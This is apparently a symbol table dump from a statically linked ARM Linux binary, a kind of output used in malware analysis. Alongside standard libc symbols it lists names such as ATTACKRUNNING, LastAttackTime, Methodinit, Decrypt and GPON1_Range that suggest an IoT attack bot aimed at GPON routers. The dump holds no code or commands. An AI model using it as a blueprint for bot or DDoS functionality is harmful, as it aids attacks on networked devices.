              $d.symtab0x2501c0NOTYPE<unknown>DEFAULT9
              $d.symtab0x81180NOTYPE<unknown>DEFAULT2
              $d.symtab0x81740NOTYPE<unknown>DEFAULT2
              $d.symtab0x19bb40NOTYPE<unknown>DEFAULT2
              $d.symtab0x250200NOTYPE<unknown>DEFAULT9
              $d.symtab0x81c00NOTYPE<unknown>DEFAULT2
              $d.symtab0x82b40NOTYPE<unknown>DEFAULT2
              $d.symtab0x83600NOTYPE<unknown>DEFAULT2
              $d.symtab0x85b80NOTYPE<unknown>DEFAULT2
              $d.symtab0x86440NOTYPE<unknown>DEFAULT2
              $d.symtab0x86980NOTYPE<unknown>DEFAULT2
              $d.symtab0x87100NOTYPE<unknown>DEFAULT2
              $d.symtab0x87b00NOTYPE<unknown>DEFAULT2
              $d.symtab0x88180NOTYPE<unknown>DEFAULT2
              $d.symtab0x8a140NOTYPE<unknown>DEFAULT2
              $d.symtab0x8afc0NOTYPE<unknown>DEFAULT2
              $d.symtab0x250240NOTYPE<unknown>DEFAULT9
              $d.symtab0x8d780NOTYPE<unknown>DEFAULT2
              $d.symtab0x8e640NOTYPE<unknown>DEFAULT2
              $d.symtab0x8fac0NOTYPE<unknown>DEFAULT2
              $d.symtab0x90a00NOTYPE<unknown>DEFAULT2
              $d.symtab0x918c0NOTYPE<unknown>DEFAULT2
              $d.symtab0x92800NOTYPE<unknown>DEFAULT2
              $d.symtab0x93700NOTYPE<unknown>DEFAULT2
              $d.symtab0x94600NOTYPE<unknown>DEFAULT2
              $d.symtab0x95500NOTYPE<unknown>DEFAULT2
              $d.symtab0x963c0NOTYPE<unknown>DEFAULT2
              $d.symtab0x972c0NOTYPE<unknown>DEFAULT2
              $d.symtab0x981c0NOTYPE<unknown>DEFAULT2
              $d.symtab0x990c0NOTYPE<unknown>DEFAULT2
              $d.symtab0x99fc0NOTYPE<unknown>DEFAULT2
              $d.symtab0x9af00NOTYPE<unknown>DEFAULT2
              $d.symtab0x250ac0NOTYPE<unknown>DEFAULT9
              $d.symtab0x9bd40NOTYPE<unknown>DEFAULT2
              $d.symtab0x9fc40NOTYPE<unknown>DEFAULT2
              $d.symtab0x254680NOTYPE<unknown>DEFAULT10
              $d.symtab0x1b8100NOTYPE<unknown>DEFAULT4
              $d.symtab0xa1080NOTYPE<unknown>DEFAULT2
              $d.symtab0xa1b80NOTYPE<unknown>DEFAULT2
              $d.symtab0xa5040NOTYPE<unknown>DEFAULT2
              $d.symtab0xa5e80NOTYPE<unknown>DEFAULT2
              $d.symtab0xa6680NOTYPE<unknown>DEFAULT2
              $d.symtab0xad280NOTYPE<unknown>DEFAULT2
              $d.symtab0xaed40NOTYPE<unknown>DEFAULT2
              $d.symtab0xb1780NOTYPE<unknown>DEFAULT2
              $d.symtab0xb8840NOTYPE<unknown>DEFAULT2
              $d.symtab0xbf9c0NOTYPE<unknown>DEFAULT2
              $d.symtab0x1b9b00NOTYPE<unknown>DEFAULT4
              $d.symtab0xd6c00NOTYPE<unknown>DEFAULT2
              $d.symtab0xe27c0NOTYPE<unknown>DEFAULT2
              $d.symtab0xee380NOTYPE<unknown>DEFAULT2
              $d.symtab0xf9f40NOTYPE<unknown>DEFAULT2
              $d.symtab0x100540NOTYPE<unknown>DEFAULT2
              $d.symtab0x102100NOTYPE<unknown>DEFAULT2
              $d.symtab0x107c00NOTYPE<unknown>DEFAULT2
              $d.symtab0x109a00NOTYPE<unknown>DEFAULT2
              $d.symtab0x1bbd40NOTYPE<unknown>DEFAULT4
              $d.symtab0x10d340NOTYPE<unknown>DEFAULT2
              $d.symtab0x111940NOTYPE<unknown>DEFAULT2
              $d.symtab0x250c00NOTYPE<unknown>DEFAULT9
              $d.symtab0x1123c0NOTYPE<unknown>DEFAULT2
              $d.symtab0x113440NOTYPE<unknown>DEFAULT2
              $d.symtab0x114080NOTYPE<unknown>DEFAULT2
              $d.symtab0x114200NOTYPE<unknown>DEFAULT2
              $d.symtab0x115980NOTYPE<unknown>DEFAULT2
              $d.symtab0x115f80NOTYPE<unknown>DEFAULT2
              $d.symtab0x118340NOTYPE<unknown>DEFAULT2
              $d.symtab0x11a700NOTYPE<unknown>DEFAULT2
              $d.symtab0x11d5c0NOTYPE<unknown>DEFAULT2
              $d.symtab0x11df80NOTYPE<unknown>DEFAULT2
              $d.symtab0x11e080NOTYPE<unknown>DEFAULT2
              $d.symtab0x11eb40NOTYPE<unknown>DEFAULT2
              $d.symtab0x250c80NOTYPE<unknown>DEFAULT9
              $d.symtab0x1bf140NOTYPE<unknown>DEFAULT4
              $d.symtab0x11fa00NOTYPE<unknown>DEFAULT2
              $d.symtab0x126600NOTYPE<unknown>DEFAULT2
              $d.symtab0x128dc0NOTYPE<unknown>DEFAULT2
              $d.symtab0x129200NOTYPE<unknown>DEFAULT2
              $d.symtab0x12dcc0NOTYPE<unknown>DEFAULT2
              $d.symtab0x12e740NOTYPE<unknown>DEFAULT2
              $d.symtab0x12f000NOTYPE<unknown>DEFAULT2
              $d.symtab0x12f9c0NOTYPE<unknown>DEFAULT2
              $d.symtab0x130c40NOTYPE<unknown>DEFAULT2
              $d.symtab0x132ac0NOTYPE<unknown>DEFAULT2
              $d.symtab0x135140NOTYPE<unknown>DEFAULT2
              $d.symtab0x138180NOTYPE<unknown>DEFAULT2
              $d.symtab0x139cc0NOTYPE<unknown>DEFAULT2
              $d.symtab0x13bc00NOTYPE<unknown>DEFAULT2
              $d.symtab0x13bd00NOTYPE<unknown>DEFAULT2
              $d.symtab0x13c5c0NOTYPE<unknown>DEFAULT2
              $d.symtab0x13fa80NOTYPE<unknown>DEFAULT2
              $d.symtab0x1410c0NOTYPE<unknown>DEFAULT2
              $d.symtab0x143680NOTYPE<unknown>DEFAULT2
              $d.symtab0x144580NOTYPE<unknown>DEFAULT2
              $d.symtab0x144e40NOTYPE<unknown>DEFAULT2
              $d.symtab0x145480NOTYPE<unknown>DEFAULT2
              $d.symtab0x148a80NOTYPE<unknown>DEFAULT2
              $d.symtab0x14ae40NOTYPE<unknown>DEFAULT2
              $d.symtab0x14c900NOTYPE<unknown>DEFAULT2
              $d.symtab0x252040NOTYPE<unknown>DEFAULT9
              $d.symtab0x14dd80NOTYPE<unknown>DEFAULT2
              $d.symtab0x150e40NOTYPE<unknown>DEFAULT2
              $d.symtab0x2530c0NOTYPE<unknown>DEFAULT9
              $d.symtab0x1515c0NOTYPE<unknown>DEFAULT2
              $d.symtab0x151e80NOTYPE<unknown>DEFAULT2
              $d.symtab0x152800NOTYPE<unknown>DEFAULT2
              $d.symtab0x152fc0NOTYPE<unknown>DEFAULT2
              $d.symtab0x253240NOTYPE<unknown>DEFAULT9
              $d.symtab0x153d00NOTYPE<unknown>DEFAULT2
              $d.symtab0x154600NOTYPE<unknown>DEFAULT2
              $d.symtab0x155240NOTYPE<unknown>DEFAULT2
              $d.symtab0x155f40NOTYPE<unknown>DEFAULT2
              $d.symtab0x1cb6c0NOTYPE<unknown>DEFAULT4
              $d.symtab0x157a00NOTYPE<unknown>DEFAULT2
              $d.symtab0x1581c0NOTYPE<unknown>DEFAULT2
              $d.symtab0x253d80NOTYPE<unknown>DEFAULT9
              $d.symtab0x158c80NOTYPE<unknown>DEFAULT2
              $d.symtab0x15a6c0NOTYPE<unknown>DEFAULT2
              $d.symtab0x15ab80NOTYPE<unknown>DEFAULT2
              $d.symtab0x15b180NOTYPE<unknown>DEFAULT2
              $d.symtab0x15b680NOTYPE<unknown>DEFAULT2
              $d.symtab0x15bb80NOTYPE<unknown>DEFAULT2
              $d.symtab0x15de00NOTYPE<unknown>DEFAULT2
              $d.symtab0x253f00NOTYPE<unknown>DEFAULT9
              $d.symtab0x15ef00NOTYPE<unknown>DEFAULT2
              $d.symtab0x164c00NOTYPE<unknown>DEFAULT2
              $d.symtab0x165440NOTYPE<unknown>DEFAULT2
              $d.symtab0x253f40NOTYPE<unknown>DEFAULT9
              $d.symtab0x276cc0NOTYPE<unknown>DEFAULT10
              $d.symtab0x169880NOTYPE<unknown>DEFAULT2
              $d.symtab0x174dc0NOTYPE<unknown>DEFAULT2
              $d.symtab0x1ceb40NOTYPE<unknown>DEFAULT4
              $d.symtab0x178880NOTYPE<unknown>DEFAULT2
              $d.symtab0x17e240NOTYPE<unknown>DEFAULT2
              $d.symtab0x17f280NOTYPE<unknown>DEFAULT2
              $d.symtab0x187bc0NOTYPE<unknown>DEFAULT2
              $d.symtab0x18a840NOTYPE<unknown>DEFAULT2
              $d.symtab0x254000NOTYPE<unknown>DEFAULT9
              $d.symtab0x18b400NOTYPE<unknown>DEFAULT2
              $d.symtab0x18b800NOTYPE<unknown>DEFAULT2
              $d.symtab0x18d500NOTYPE<unknown>DEFAULT2
              $d.symtab0x18f600NOTYPE<unknown>DEFAULT2
              $d.symtab0x193c40NOTYPE<unknown>DEFAULT2
              $d.symtab0x196f40NOTYPE<unknown>DEFAULT2
              $d.symtab0x197700NOTYPE<unknown>DEFAULT2
              /home/firmware/build/temp-armv5l/gcc-core/gcc/config/arm/lib1funcs.asm.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              /home/firmware/build/temp-armv5l/gcc-core/gcc/config/arm/lib1funcs.asm.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              /home/firmware/build/temp-armv5l/gcc-core/gcc/config/arm/lib1funcs.asm.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              /home/firmware/build/temp-armv5l/gcc-core/gcc/config/arm/lib1funcs.asm.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              /home/firmware/build/temp-armv5l/gcc-core/gcc/config/arm/lib1funcs.asm.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              ATTACKRUNNING.symtab0x250bc4OBJECT<unknown>DEFAULT9
              C.0.4629.symtab0x1b81016OBJECT<unknown>DEFAULT4
              C.1.3422.symtab0x1bbd436OBJECT<unknown>DEFAULT4
              C.89.3704.symtab0x1b9b0508OBJECT<unknown>DEFAULT4
              Decrypt.symtab0x8a18232FUNC<unknown>DEFAULT2
              GPON1_Range.symtab0x2502420OBJECT<unknown>DEFAULT9
              GPON2_Range.symtab0x25038112OBJECT<unknown>DEFAULT9
              Laligned.symtab0x136b80NOTYPE<unknown>DEFAULT2
              LastAttackTime.symtab0x278644OBJECT<unknown>DEFAULT10
              Llastword.symtab0x136d40NOTYPE<unknown>DEFAULT2
              Methodinit.symtab0xf9f81640FUNC<unknown>DEFAULT2
              PINGLEN.symtab0x250ac16OBJECT<unknown>DEFAULT9
              _Jv_RegisterClasses.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
              _READ.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _WRITE.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __CTOR_END__.symtab0x250040OBJECT<unknown>DEFAULT6
              __CTOR_LIST__.symtab0x250000OBJECT<unknown>DEFAULT6
              __C_ctype_b.symtab0x253f44OBJECT<unknown>DEFAULT9
              __C_ctype_b.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __C_ctype_b_data.symtab0x1cb9e768OBJECT<unknown>DEFAULT4
              __C_ctype_tolower.symtab0x250c04OBJECT<unknown>DEFAULT9
              __C_ctype_tolower.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __C_ctype_tolower_data.symtab0x1bbf8768OBJECT<unknown>DEFAULT4
              __DTOR_END__.symtab0x2500c0OBJECT<unknown>DEFAULT7
              __DTOR_LIST__.symtab0x250080OBJECT<unknown>DEFAULT7
              __EH_FRAME_BEGIN__.symtab0x1cf6c0OBJECT<unknown>DEFAULT5
              __FRAME_END__.symtab0x1cf6c0OBJECT<unknown>DEFAULT5
              __GI___C_ctype_b.symtab0x253f44OBJECT<unknown>HIDDEN9
              __GI___C_ctype_b_data.symtab0x1cb9e768OBJECT<unknown>HIDDEN4
              __GI___C_ctype_tolower.symtab0x250c04OBJECT<unknown>HIDDEN9
              __GI___C_ctype_tolower_data.symtab0x1bbf8768OBJECT<unknown>HIDDEN4
              __GI___ctype_b.symtab0x253f84OBJECT<unknown>HIDDEN9
              __GI___ctype_tolower.symtab0x250c44OBJECT<unknown>HIDDEN9
              __GI___errno_location.symtab0x1141812FUNC<unknown>HIDDEN2
              __GI___fgetc_unlocked.symtab0x1775c304FUNC<unknown>HIDDEN2
              __GI___glibc_strerror_r.symtab0x13acc20FUNC<unknown>HIDDEN2
              __GI___h_errno_location.symtab0x1698012FUNC<unknown>HIDDEN2
              __GI___libc_fcntl.symtab0x15f38116FUNC<unknown>HIDDEN2
              __GI___libc_fcntl64.symtab0x15fac80FUNC<unknown>HIDDEN2
              __GI___libc_open.symtab0x1645892FUNC<unknown>HIDDEN2
              __GI___uClibc_fini.symtab0x15abc108FUNC<unknown>HIDDEN2
              __GI___uClibc_init.symtab0x15b6c92FUNC<unknown>HIDDEN2
              __GI___xpg_strerror_r.symtab0x13ae0232FUNC<unknown>HIDDEN2
              __GI__exit.symtab0x10eec40FUNC<unknown>HIDDEN2
              __GI_abort.symtab0x14fac328FUNC<unknown>HIDDEN2
              __GI_atoi.symtab0x155f812FUNC<unknown>HIDDEN2
              __GI_atol.symtab0x155f812FUNC<unknown>HIDDEN2
              __GI_bind.symtab0x148c444FUNC<unknown>HIDDEN2
              __GI_brk.symtab0x18b4860FUNC<unknown>HIDDEN2
              __GI_chdir.symtab0x10f4044FUNC<unknown>HIDDEN2
              __GI_chmod.symtab0x10f6c52FUNC<unknown>HIDDEN2
              __GI_close.symtab0x10fa044FUNC<unknown>HIDDEN2
              __GI_closedir.symtab0x11198180FUNC<unknown>HIDDEN2
              __GI_connect.symtab0x148f044FUNC<unknown>HIDDEN2
              __GI_dup2.symtab0x1602844FUNC<unknown>HIDDEN2
              __GI_errno.symtab0x276cc4OBJECT<unknown>HIDDEN10
              __GI_execl.symtab0x15838148FUNC<unknown>HIDDEN2
              __GI_execve.symtab0x1605444FUNC<unknown>HIDDEN2
              __GI_exit.symtab0x157a4148FUNC<unknown>HIDDEN2
              __GI_fclose.symtab0x11434384FUNC<unknown>HIDDEN2
              __GI_fcntl.symtab0x15f38116FUNC<unknown>HIDDEN2
              __GI_fcntl64.symtab0x15fac80FUNC<unknown>HIDDEN2
              __GI_fdopen.symtab0x16ab856FUNC<unknown>HIDDEN2
              __GI_fflush_unlocked.symtab0x130ec484FUNC<unknown>HIDDEN2
              __GI_fgetc_unlocked.symtab0x1775c304FUNC<unknown>HIDDEN2
              __GI_fgets.symtab0x12df0148FUNC<unknown>HIDDEN2
              __GI_fgets_unlocked.symtab0x132d0152FUNC<unknown>HIDDEN2
              __GI_fopen.symtab0x115b412FUNC<unknown>HIDDEN2
              __GI_fork.symtab0x10fcc44FUNC<unknown>HIDDEN2
              __GI_fprintf.symtab0x1160848FUNC<unknown>HIDDEN2
              __GI_fputs.symtab0x12e84140FUNC<unknown>HIDDEN2
              __GI_fputs_unlocked.symtab0x1336852FUNC<unknown>HIDDEN2
              __GI_fread.symtab0x12f10156FUNC<unknown>HIDDEN2
              __GI_fread_unlocked.symtab0x1339c380FUNC<unknown>HIDDEN2
              __GI_fseek.symtab0x18c2412FUNC<unknown>HIDDEN2
              __GI_fseeko64.symtab0x18c30304FUNC<unknown>HIDDEN2
              __GI_fstat.symtab0x1608080FUNC<unknown>HIDDEN2
              __GI_fwrite_unlocked.symtab0x13518172FUNC<unknown>HIDDEN2
              __GI_getc_unlocked.symtab0x1775c304FUNC<unknown>HIDDEN2
              __GI_getegid.symtab0x162c844FUNC<unknown>HIDDEN2
              __GI_geteuid.symtab0x162f444FUNC<unknown>HIDDEN2
              __GI_getgid.symtab0x1632044FUNC<unknown>HIDDEN2
              __GI_gethostbyname.symtab0x1450c68FUNC<unknown>HIDDEN2
              __GI_gethostbyname_r.symtab0x14550884FUNC<unknown>HIDDEN2
              __GI_getpid.symtab0x10ff844FUNC<unknown>HIDDEN2
              __GI_getsockname.symtab0x1491c44FUNC<unknown>HIDDEN2
              __GI_gettimeofday.symtab0x1102444FUNC<unknown>HIDDEN2
              __GI_getuid.symtab0x1634c44FUNC<unknown>HIDDEN2
              __GI_h_errno.symtab0x276d04OBJECT<unknown>HIDDEN10
              __GI_inet_addr.symtab0x144e836FUNC<unknown>HIDDEN2
              __GI_inet_aton.symtab0x14370236FUNC<unknown>HIDDEN2
              __GI_inet_ntoa.symtab0x144dc12FUNC<unknown>HIDDEN2
              __GI_inet_ntoa_r.symtab0x1445c128FUNC<unknown>HIDDEN2
              __GI_inet_ntop.symtab0x14110608FUNC<unknown>HIDDEN2
              __GI_inet_pton.symtab0x13d9c528FUNC<unknown>HIDDEN2
              __GI_initstate_r.symtab0x15530200FUNC<unknown>HIDDEN2
              __GI_ioctl.symtab0x1637880FUNC<unknown>HIDDEN2
              __GI_isatty.symtab0x13bd432FUNC<unknown>HIDDEN2
              __GI_kill.symtab0x1105044FUNC<unknown>HIDDEN2
              __GI_lseek64.symtab0x163c8100FUNC<unknown>HIDDEN2
              __GI_memchr.symtab0x17d30252FUNC<unknown>HIDDEN2
              __GI_memcpy.symtab0x135e04FUNC<unknown>HIDDEN2
              __GI_memmove.symtab0x17d204FUNC<unknown>HIDDEN2
              __GI_mempcpy.symtab0x17e2c24FUNC<unknown>HIDDEN2
              __GI_memrchr.symtab0x17e44236FUNC<unknown>HIDDEN2
              __GI_memset.symtab0x135f0156FUNC<unknown>HIDDEN2
              __GI_nanosleep.symtab0x1642c44FUNC<unknown>HIDDEN2
              __GI_open.symtab0x1645892FUNC<unknown>HIDDEN2
              __GI_opendir.symtab0x1124c252FUNC<unknown>HIDDEN2
              __GI_perror.symtab0x115c072FUNC<unknown>HIDDEN2
              __GI_pipe.symtab0x164c444FUNC<unknown>HIDDEN2
              __GI_poll.symtab0x18ba044FUNC<unknown>HIDDEN2
              __GI_raise.symtab0x18b0c24FUNC<unknown>HIDDEN2
              __GI_random.symtab0x150f8124FUNC<unknown>HIDDEN2
              __GI_random_r.symtab0x153d4144FUNC<unknown>HIDDEN2
              __GI_rawmemchr.symtab0x18eb0184FUNC<unknown>HIDDEN2
              __GI_read.symtab0x18bcc44FUNC<unknown>HIDDEN2
              __GI_readdir.symtab0x11348208FUNC<unknown>HIDDEN2
              __GI_recv.symtab0x1494844FUNC<unknown>HIDDEN2
              __GI_sbrk.symtab0x164f088FUNC<unknown>HIDDEN2
              __GI_send.symtab0x1497444FUNC<unknown>HIDDEN2
              __GI_sendto.symtab0x149a052FUNC<unknown>HIDDEN2
              __GI_setsid.symtab0x110a844FUNC<unknown>HIDDEN2
              __GI_setsockopt.symtab0x149d448FUNC<unknown>HIDDEN2
              __GI_setstate_r.symtab0x15314192FUNC<unknown>HIDDEN2
              __GI_sigaction.symtab0x15e14228FUNC<unknown>HIDDEN2
              __GI_signal.symtab0x14a30184FUNC<unknown>HIDDEN2
              __GI_sigprocmask.symtab0x1654884FUNC<unknown>HIDDEN2
              __GI_sleep.symtab0x158cc420FUNC<unknown>HIDDEN2
              __GI_snprintf.symtab0x1163848FUNC<unknown>HIDDEN2
              __GI_socket.symtab0x14a0444FUNC<unknown>HIDDEN2
              __GI_sprintf.symtab0x1166852FUNC<unknown>HIDDEN2
              __GI_srandom_r.symtab0x15464204FUNC<unknown>HIDDEN2
              __GI_strcasecmp.symtab0x196f8124FUNC<unknown>HIDDEN2
              __GI_strcat.symtab0x136f040FUNC<unknown>HIDDEN2
              __GI_strchr.symtab0x13718264FUNC<unknown>HIDDEN2
              __GI_strcmp.symtab0x18e9028FUNC<unknown>HIDDEN2
              __GI_strcoll.symtab0x18e9028FUNC<unknown>HIDDEN2
              __GI_strcpy.symtab0x1382028FUNC<unknown>HIDDEN2
              __GI_strdup.symtab0x1908048FUNC<unknown>HIDDEN2
              __GI_strlen.symtab0x1369096FUNC<unknown>HIDDEN2
              __GI_strncat.symtab0x18f68200FUNC<unknown>HIDDEN2
              __GI_strncpy.symtab0x1383c184FUNC<unknown>HIDDEN2
              __GI_strnlen.symtab0x138f4224FUNC<unknown>HIDDEN2
              __GI_strpbrk.symtab0x17fa464FUNC<unknown>HIDDEN2
              __GI_strspn.symtab0x1903080FUNC<unknown>HIDDEN2
              __GI_strstr.symtab0x139d4248FUNC<unknown>HIDDEN2
              __GI_strtok.symtab0x13bc812FUNC<unknown>HIDDEN2
              __GI_strtok_r.symtab0x17f30116FUNC<unknown>HIDDEN2
              __GI_strtol.symtab0x156048FUNC<unknown>HIDDEN2
              __GI_tcgetattr.symtab0x13bf4108FUNC<unknown>HIDDEN2
              __GI_time.symtab0x110d444FUNC<unknown>HIDDEN2
              __GI_tolower.symtab0x1116452FUNC<unknown>HIDDEN2
              __GI_vfork.symtab0x15f0040FUNC<unknown>HIDDEN2
              __GI_vfprintf.symtab0x11ef4188FUNC<unknown>HIDDEN2
              __GI_vsnprintf.symtab0x1169c176FUNC<unknown>HIDDEN2
              __GI_wait4.symtab0x18bf844FUNC<unknown>HIDDEN2
              __GI_waitpid.symtab0x1659c8FUNC<unknown>HIDDEN2
              __GI_wcrtomb.symtab0x1698c80FUNC<unknown>HIDDEN2
              __GI_wcsnrtombs.symtab0x169fc188FUNC<unknown>HIDDEN2
              __GI_wcsrtombs.symtab0x169dc32FUNC<unknown>HIDDEN2
              __GI_write.symtab0x1113844FUNC<unknown>HIDDEN2
              __JCR_END__.symtab0x250100OBJECT<unknown>DEFAULT8
              __JCR_LIST__.symtab0x250100OBJECT<unknown>DEFAULT8
              __aeabi_idiv.symtab0x19a440FUNC<unknown>DEFAULT2
              __aeabi_idiv0.symtab0x10ee84FUNC<unknown>DEFAULT2
              __aeabi_idivmod.symtab0x19b6c24FUNC<unknown>DEFAULT2
              __aeabi_ldiv0.symtab0x10ee84FUNC<unknown>DEFAULT2
              __aeabi_uidiv.symtab0x199340FUNC<unknown>DEFAULT2
              __aeabi_uidivmod.symtab0x19a2c24FUNC<unknown>DEFAULT2
              __app_fini.symtab0x276c04OBJECT<unknown>HIDDEN10
              __atexit_lock.symtab0x253d824OBJECT<unknown>DEFAULT9
              __bsd_signal.symtab0x14a30184FUNC<unknown>HIDDEN2
              __bss_end__.symtab0x27a6c0NOTYPE<unknown>DEFAULTSHN_ABS
              __bss_start.symtab0x2541c0NOTYPE<unknown>DEFAULTSHN_ABS
              __bss_start__.symtab0x2541c0NOTYPE<unknown>DEFAULTSHN_ABS
              __check_one_fd.symtab0x15b3456FUNC<unknown>DEFAULT2
              __ctype_b.symtab0x253f84OBJECT<unknown>DEFAULT9
              __ctype_tolower.symtab0x250c44OBJECT<unknown>DEFAULT9
              __curbrk.symtab0x276f04OBJECT<unknown>HIDDEN10
              __data_start.symtab0x250140NOTYPE<unknown>DEFAULT9
              __decode_answer.symtab0x192c0220FUNC<unknown>HIDDEN2
              __decode_dotted.symtab0x1981c204FUNC<unknown>HIDDEN2
              __decode_header.symtab0x19198184FUNC<unknown>HIDDEN2
              __default_rt_sa_restorer.symtab0x15f340FUNC<unknown>DEFAULT2
              __default_sa_restorer.symtab0x15f300FUNC<unknown>DEFAULT2
              __deregister_frame_info.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
              __div0.symtab0x10ee84FUNC<unknown>DEFAULT2
              __divsi3.symtab0x19a44296FUNC<unknown>DEFAULT2
              __dns_lookup.symtab0x17fe42060FUNC<unknown>HIDDEN2
              __do_global_ctors_aux.symtab0x19b840FUNC<unknown>DEFAULT2
              __do_global_dtors_aux.symtab0x80b00FUNC<unknown>DEFAULT2
              __dso_handle.symtab0x250180OBJECT<unknown>HIDDEN9
              __encode_dotted.symtab0x19774168FUNC<unknown>HIDDEN2
              __encode_header.symtab0x190b0232FUNC<unknown>HIDDEN2
              __encode_question.symtab0x1925092FUNC<unknown>HIDDEN2
              __end__.symtab0x27a6c0NOTYPE<unknown>DEFAULTSHN_ABS
              __environ.symtab0x276b84OBJECT<unknown>DEFAULT10
              __errno_location.symtab0x1141812FUNC<unknown>DEFAULT2
              __errno_location.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __error.symtab0x15f240NOTYPE<unknown>DEFAULT2
              __exit_cleanup.symtab0x276b04OBJECT<unknown>HIDDEN10
              __fgetc_unlocked.symtab0x1775c304FUNC<unknown>DEFAULT2
              __fini_array_end.symtab0x250000NOTYPE<unknown>HIDDENSHN_ABS
              __fini_array_start.symtab0x250000NOTYPE<unknown>HIDDENSHN_ABS
              __get_hosts_byname_r.symtab0x18ac472FUNC<unknown>HIDDEN2
              __getdents.symtab0x160d0148FUNC<unknown>HIDDEN2
              __getdents64.symtab0x16164356FUNC<unknown>HIDDEN2
              __glibc_strerror_r.symtab0x13acc20FUNC<unknown>DEFAULT2
              __glibc_strerror_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __h_errno_location.symtab0x1698012FUNC<unknown>DEFAULT2
              __h_errno_location.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __heap_alloc.symtab0x14df0148FUNC<unknown>DEFAULT2
              __heap_free.symtab0x14eb8244FUNC<unknown>DEFAULT2
              __heap_link_free_area.symtab0x14e8432FUNC<unknown>DEFAULT2
              __heap_link_free_area_after.symtab0x14ea420FUNC<unknown>DEFAULT2
              __init_array_end.symtab0x250000NOTYPE<unknown>HIDDENSHN_ABS
              __init_array_start.symtab0x250000NOTYPE<unknown>HIDDENSHN_ABS
              __length_dotted.symtab0x198e876FUNC<unknown>HIDDEN2
              __length_question.symtab0x192ac20FUNC<unknown>HIDDEN2
              __libc_close.symtab0x10fa044FUNC<unknown>DEFAULT2
              __libc_connect.symtab0x148f044FUNC<unknown>DEFAULT2
              __libc_creat.symtab0x164b416FUNC<unknown>DEFAULT2
              __libc_fcntl.symtab0x15f38116FUNC<unknown>DEFAULT2
              __libc_fcntl64.symtab0x15fac80FUNC<unknown>DEFAULT2
              __libc_fork.symtab0x10fcc44FUNC<unknown>DEFAULT2
              __libc_getpid.symtab0x10ff844FUNC<unknown>DEFAULT2
              __libc_lseek64.symtab0x163c8100FUNC<unknown>DEFAULT2
              __libc_nanosleep.symtab0x1642c44FUNC<unknown>DEFAULT2
              __libc_open.symtab0x1645892FUNC<unknown>DEFAULT2
              __libc_poll.symtab0x18ba044FUNC<unknown>DEFAULT2
              __libc_read.symtab0x18bcc44FUNC<unknown>DEFAULT2
              __libc_recv.symtab0x1494844FUNC<unknown>DEFAULT2
              __libc_send.symtab0x1497444FUNC<unknown>DEFAULT2
              __libc_sendto.symtab0x149a052FUNC<unknown>DEFAULT2
              __libc_sigaction.symtab0x15e14228FUNC<unknown>DEFAULT2
              __libc_stack_end.symtab0x276b44OBJECT<unknown>DEFAULT10
              __libc_waitpid.symtab0x1659c8FUNC<unknown>DEFAULT2
              __libc_write.symtab0x1113844FUNC<unknown>DEFAULT2
              __malloc_heap.symtab0x252044OBJECT<unknown>DEFAULT9
              __malloc_heap_lock.symtab0x2769424OBJECT<unknown>DEFAULT10
              __malloc_sbrk_lock.symtab0x27a2824OBJECT<unknown>DEFAULT10
              __modsi3.symtab0x10e04228FUNC<unknown>DEFAULT2
              __nameserver.symtab0x27a5012OBJECT<unknown>HIDDEN10
              __nameservers.symtab0x27a5c4OBJECT<unknown>HIDDEN10
              __open_etc_hosts.symtab0x1939c52FUNC<unknown>HIDDEN2
              __open_nameservers.symtab0x187f0724FUNC<unknown>HIDDEN2
              __pagesize.symtab0x276bc4OBJECT<unknown>DEFAULT10
              __preinit_array_end.symtab0x250000NOTYPE<unknown>HIDDENSHN_ABS
              __preinit_array_start.symtab0x250000NOTYPE<unknown>HIDDENSHN_ABS
              __pthread_initialize_minimal.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
              __pthread_mutex_init.symtab0x15b288FUNC<unknown>DEFAULT2
              __pthread_mutex_lock.symtab0x15b288FUNC<unknown>DEFAULT2
              __pthread_mutex_trylock.symtab0x15b288FUNC<unknown>DEFAULT2
              __pthread_mutex_unlock.symtab0x15b288FUNC<unknown>DEFAULT2
              __pthread_return_0.symtab0x15b288FUNC<unknown>DEFAULT2
              __pthread_return_void.symtab0x15b304FUNC<unknown>DEFAULT2
              __raise.symtab0x18b0c24FUNC<unknown>HIDDEN2
              __read_etc_hosts_r.symtab0x193d0808FUNC<unknown>HIDDEN2
              __register_frame_info.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
              __resolv_lock.symtab0x2540024OBJECT<unknown>DEFAULT9
              __rtld_fini.symtab0x276c44OBJECT<unknown>HIDDEN10
              __searchdomain.symtab0x27a4016OBJECT<unknown>HIDDEN10
              __searchdomains.symtab0x27a604OBJECT<unknown>HIDDEN10
              __sigaddset.symtab0x14b0c36FUNC<unknown>DEFAULT2
              __sigdelset.symtab0x14b3036FUNC<unknown>DEFAULT2
              __sigismember.symtab0x14ae836FUNC<unknown>DEFAULT2
              __stdin.symtab0x250d44OBJECT<unknown>DEFAULT9
              __stdio_READ.symtab0x16af092FUNC<unknown>HIDDEN2
              __stdio_WRITE.symtab0x16b4c188FUNC<unknown>HIDDEN2
              __stdio_adjust_position.symtab0x18d60204FUNC<unknown>HIDDEN2
              __stdio_fwrite.symtab0x16c08312FUNC<unknown>HIDDEN2
              __stdio_init_mutex.symtab0x11dfc16FUNC<unknown>HIDDEN2
              __stdio_mutex_initializer.3929.symtab0x1bf1424OBJECT<unknown>DEFAULT4
              __stdio_rfill.symtab0x18e2c44FUNC<unknown>HIDDEN2
              __stdio_seek.symtab0x18e5848FUNC<unknown>HIDDEN2
              __stdio_trans2r_o.symtab0x16d40188FUNC<unknown>HIDDEN2
              __stdio_trans2w_o.symtab0x16dfc260FUNC<unknown>HIDDEN2
              __stdio_wcommit.symtab0x11ec448FUNC<unknown>HIDDEN2
              __stdout.symtab0x250d84OBJECT<unknown>DEFAULT9
